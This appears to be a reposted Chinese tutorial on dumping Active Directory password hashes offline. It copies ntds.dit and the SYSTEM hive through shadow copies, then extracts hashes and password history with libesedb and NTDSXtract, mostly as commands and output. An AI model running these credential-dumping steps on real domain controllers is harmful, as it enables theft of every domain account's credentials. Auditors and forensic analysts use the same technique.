使用NTDSXtract离线抓取Domain Hash

下载NTDSX

http://www.ntdsxtract.com/ 

下载libesedb 

http://code.google.com/p/libesedb/ 

获得ntds.dit和SYSTEM文件: 2008和2012的域控用ntdsutil命令,网上有。

2008以下的域控,创建磁盘的shadow copy,然后拷贝ntds.dit和system。 
有两个工具可共选择:Vssown.vbs 网上都有,很简单。 
windows的VSSSDK

去官网上下载,是个SDK需要安装,安装完后VSSSDK72\TestApps\vshadow目录下有源码和bin文件vshadow.exe,bin文件可以直接用,xp和2003的两个版本都有。网上也有单独的vshadow.exe文件。

vshadow.exe -exec=%ComSpec% C:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\system32\config\system .
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\ntds\ntds.dit .
Exit
Exit

网上有个bat,也可以用。

http://blogs.msdn.com/b/adioltean/archive/2005/01/05/346793.aspx

保存为CopyFile.cmd,和vshadow.exe放在同一目录下。

CopyFile.cmd c:\windows\system32\config\system c:\

Linux:
编译libesedb:
下载libesedb,文件名:libesedb-alpha-20120102.tar.gz。
解压:

tar -xf libesedb-alpha-20120102.tar.gz cd libesedb-20120102 ./configure make

提取ntds.dit中的表:

./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit

root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export

datatable.3
link_table.4
MSysObjects.0
MSysUnicodeFixupVer1.2
quota_table.8 sd_table.7

hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

我们只需要datatable 和 link_table。

解析ntds文件:

下载NTDSXtract,文件名:ntdsxtract_v1_0.zip。

解压:

cd esedbtools/
./esedbexport -t ../../NTDS/ntds.dit ../../NTDS/ntds.dit
root@bt:/MyDisk/libesedb-20120102/esedbtools# ls ../../NTDS/ntds.dit.export
datatable.3 link_table.4 MSysObjects.0 MSysUnicodeFixupVer1.2 quota_table.8 sd_table.7
hiddentable.5 MSysDefrag1.10 MSysObjectsShadow.1 quota_rebuild_progress_table.9 sdproptable.6

使用parseNTDS.pl:

parseNTDS.pl 用来处理NTDSX的结果。

http://www.cyberis.co.uk/downloads/parseNTDS.pl

Linux创建一个这个文件,赋予可执行权限,chmod +x parseNTDS.pl

将NTDSX的结果重定向到文件ntds.output;

python dsusers.py ../NTDS/ntds.dit.export/datatable.3 ../NTDS/ntds.dit.export/link_table.4 passwordhashes ../NTDS/system > ../NTDS/ntds.output
./paresNTDS.pl -f ./ntds.output lmonly 只显示hash值;
./paresNTDS.pl -f ./ntds.output removedisable 去除无效账户;

其他的看usage,讲得很清楚。

Windows:
编译libesedb:

解压libesedb压缩包,msvscpp文件夹下有个Visual Studio 2008的 解决方案文件,用2008或

以上编译器打开,编译全部文件即可;不要修改其项目配置,编译不会出现问题。

使用\msvscpp\Release\esedbexport.exe文件提取ntds.dit文件中的表。

同目录下libesedb.dll是其依赖库,要放在一起。

提取ntds.dit中的表:

和Linux下一样,

esedbexport.exe -l .\ntds.log -t .\ntds.dit .\ntds.dit

Opening file.

Exporting table 1 (MSysObjects) out of 11.

Exporting table 2 (MSysObjectsShadow) out of 11.

Exporting table 3 (MSysUnicodeFixupVer1) out of 11.

Exporting table 4 (datatable) out of 11.

Exporting table 5 (link_table) out of 11.

Exporting table 6 (hiddentable) out of 11.

Exporting table 7 (sdproptable) out of 11.

Exporting table 8 (sd_table) out of 11.

Exporting table 9 (quota_table) out of 11.

Exporting table 10 (quota_rebuild_progress_table) out of 11.

Exporting table 11 (MSysDefrag1) out of 11.

Export completed.

只需要datatable和link_table。

解析ntds文件:

Windows上需要安装python。本人装的是Python 2.6。

由于NTDSX使用到了python的一个加密库文件pycrypto,所以我们需要下一个。

官网:

http://pypi.python.org/pypi/pycrypto/2.6

下载后需要编译,windows上编译比较麻烦。

http://www.voidspace.org.uk/python/modules.shtml#pycrypto

这里有已编译好的。

安装完python再安装pycrypto即可。

其他的跟Linux上一样的。

python dsusers.py ..\ntds.dit.export\datatable.3 ..\ntds.dit.export\link_table.4 passwordhashes ..\system passwordhistory ..\system member ..\system

使用parseNTDS.pl:

和linux一样,有perl环境就行。

源自:http://www.0x7c.com/?p=450

欢迎一起交流学习

5
2

使用NTDSXtract离线抓取Domain Hash 如文中未特别声明转载请注明出自: FreebuF.COM


上一篇:使用Electron开发基于Node.js的桌面应用


下一篇:VS2008下的CListCtrl控件的使用